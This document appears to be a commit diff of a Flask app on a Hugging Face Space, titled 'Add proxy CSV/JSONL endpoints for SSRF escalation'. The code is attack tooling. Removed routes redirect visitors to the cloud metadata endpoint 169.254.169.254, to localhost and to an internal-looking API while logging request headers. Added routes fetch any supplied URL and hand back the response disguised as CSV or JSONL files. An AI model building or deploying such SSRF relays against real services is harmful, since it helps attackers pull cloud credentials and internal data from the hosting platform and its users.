Spaces:
Sleeping
Sleeping
Add proxy CSV/JSONL endpoints for SSRF escalation
Browse files
app.py
CHANGED
|
@@ -50,9 +50,10 @@ def redir():
|
|
| 50 |
code = int(request.args.get('code', '302'))
|
| 51 |
return redirect(target, code=code)
|
| 52 |
|
| 53 |
-
#
|
| 54 |
-
@app.route('/
|
| 55 |
-
def
|
|
|
|
| 56 |
entry = {
|
| 57 |
'time': time.time(),
|
| 58 |
'method': request.method,
|
|
@@ -61,50 +62,21 @@ def redir_metadata():
|
|
| 61 |
'remote_addr': request.remote_addr
|
| 62 |
}
|
| 63 |
LOG.append(entry)
|
| 64 |
-
|
| 65 |
-
|
| 66 |
-
|
| 67 |
-
|
| 68 |
-
|
| 69 |
-
|
| 70 |
-
'
|
| 71 |
-
'
|
| 72 |
-
|
| 73 |
-
'
|
| 74 |
-
}
|
| 75 |
-
LOG.append(entry)
|
| 76 |
-
# IMDSv1 - different path
|
| 77 |
-
return redirect('http://169.254.169.254/latest/user-data', 302)
|
| 78 |
-
|
| 79 |
-
@app.route('/redir-internal.csv')
|
| 80 |
-
def redir_internal():
|
| 81 |
-
entry = {
|
| 82 |
-
'time': time.time(),
|
| 83 |
-
'method': request.method,
|
| 84 |
-
'path': request.full_path,
|
| 85 |
-
'headers': dict(request.headers),
|
| 86 |
-
'remote_addr': request.remote_addr
|
| 87 |
-
}
|
| 88 |
-
LOG.append(entry)
|
| 89 |
-
# Try to hit HuggingFace internal API
|
| 90 |
-
return redirect('http://huggingface.co/api/whoami', 302)
|
| 91 |
-
|
| 92 |
-
@app.route('/redir-localhost.csv')
|
| 93 |
-
def redir_localhost():
|
| 94 |
-
entry = {
|
| 95 |
-
'time': time.time(),
|
| 96 |
-
'method': request.method,
|
| 97 |
-
'path': request.full_path,
|
| 98 |
-
'headers': dict(request.headers),
|
| 99 |
-
'remote_addr': request.remote_addr
|
| 100 |
-
}
|
| 101 |
-
LOG.append(entry)
|
| 102 |
-
return redirect('http://localhost:8080/', 302)
|
| 103 |
|
| 104 |
-
|
| 105 |
-
|
| 106 |
-
|
| 107 |
-
target = request.args.get('t', '
|
| 108 |
entry = {
|
| 109 |
'time': time.time(),
|
| 110 |
'method': request.method,
|
|
@@ -113,7 +85,15 @@ def redir_target():
|
|
| 113 |
'remote_addr': request.remote_addr
|
| 114 |
}
|
| 115 |
LOG.append(entry)
|
| 116 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 117 |
|
| 118 |
@app.route('/mcp-proxy', methods=['GET', 'POST'])
|
| 119 |
def mcp_proxy():
|
|
@@ -139,18 +119,6 @@ def mcp_proxy():
|
|
| 139 |
f"data: {json.dumps({'error': str(e)})}\n\n",
|
| 140 |
content_type='text/event-stream'
|
| 141 |
)
|
| 142 |
-
if request.method == 'POST':
|
| 143 |
-
body = request.get_json(silent=True) or {}
|
| 144 |
-
if body.get('method') == 'initialize':
|
| 145 |
-
return jsonify({
|
| 146 |
-
"jsonrpc": "2.0",
|
| 147 |
-
"id": body.get('id', 0),
|
| 148 |
-
"result": {
|
| 149 |
-
"protocolVersion": "2025-11-25",
|
| 150 |
-
"capabilities": {"tools": {}},
|
| 151 |
-
"serverInfo": {"name": "test-server", "version": "1.0.0"}
|
| 152 |
-
}
|
| 153 |
-
})
|
| 154 |
return jsonify({"status": "ok"})
|
| 155 |
|
| 156 |
@app.route('/env')
|
|
|
|
| 50 |
code = int(request.args.get('code', '302'))
|
| 51 |
return redirect(target, code=code)
|
| 52 |
|
| 53 |
+
# Smart proxy CSV: fetches any URL and returns result as CSV
|
| 54 |
+
@app.route('/proxy-csv.csv')
|
| 55 |
+
def proxy_csv():
|
| 56 |
+
target = request.args.get('t', '')
|
| 57 |
entry = {
|
| 58 |
'time': time.time(),
|
| 59 |
'method': request.method,
|
|
|
|
| 62 |
'remote_addr': request.remote_addr
|
| 63 |
}
|
| 64 |
LOG.append(entry)
|
| 65 |
+
if not target:
|
| 66 |
+
return 'text\nno target specified\n', 200, {'Content-Type': 'text/csv'}
|
| 67 |
+
try:
|
| 68 |
+
r = requests.get(target, timeout=10, verify=False)
|
| 69 |
+
# Wrap response as CSV
|
| 70 |
+
lines = r.text.split('\n')[:100]
|
| 71 |
+
csv_data = 'text\n' + '\n'.join(f'"{line}"' for line in lines if line.strip()) + '\n'
|
| 72 |
+
return csv_data, 200, {'Content-Type': 'text/csv'}
|
| 73 |
+
except Exception as e:
|
| 74 |
+
return f'text\nerror: {str(e)}\n', 200, {'Content-Type': 'text/csv'}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 75 |
|
| 76 |
+
# Smart proxy JSONL: fetches any URL and returns result as JSONL
|
| 77 |
+
@app.route('/proxy-jsonl.jsonl')
|
| 78 |
+
def proxy_jsonl():
|
| 79 |
+
target = request.args.get('t', '')
|
| 80 |
entry = {
|
| 81 |
'time': time.time(),
|
| 82 |
'method': request.method,
|
|
|
|
| 85 |
'remote_addr': request.remote_addr
|
| 86 |
}
|
| 87 |
LOG.append(entry)
|
| 88 |
+
if not target:
|
| 89 |
+
return '{"text": "no target"}\n', 200, {'Content-Type': 'application/jsonl'}
|
| 90 |
+
try:
|
| 91 |
+
r = requests.get(target, timeout=10, verify=False)
|
| 92 |
+
lines = r.text.split('\n')[:100]
|
| 93 |
+
jsonl_data = '\n'.join(json.dumps({"text": line}) for line in lines if line.strip()) + '\n'
|
| 94 |
+
return jsonl_data, 200, {'Content-Type': 'application/jsonl'}
|
| 95 |
+
except Exception as e:
|
| 96 |
+
return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
|
| 97 |
|
| 98 |
@app.route('/mcp-proxy', methods=['GET', 'POST'])
|
| 99 |
def mcp_proxy():
|
|
|
|
| 119 |
f"data: {json.dumps({'error': str(e)})}\n\n",
|
| 120 |
content_type='text/event-stream'
|
| 121 |
)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 122 |
return jsonify({"status": "ok"})
|
| 123 |
|
| 124 |
@app.route('/env')
|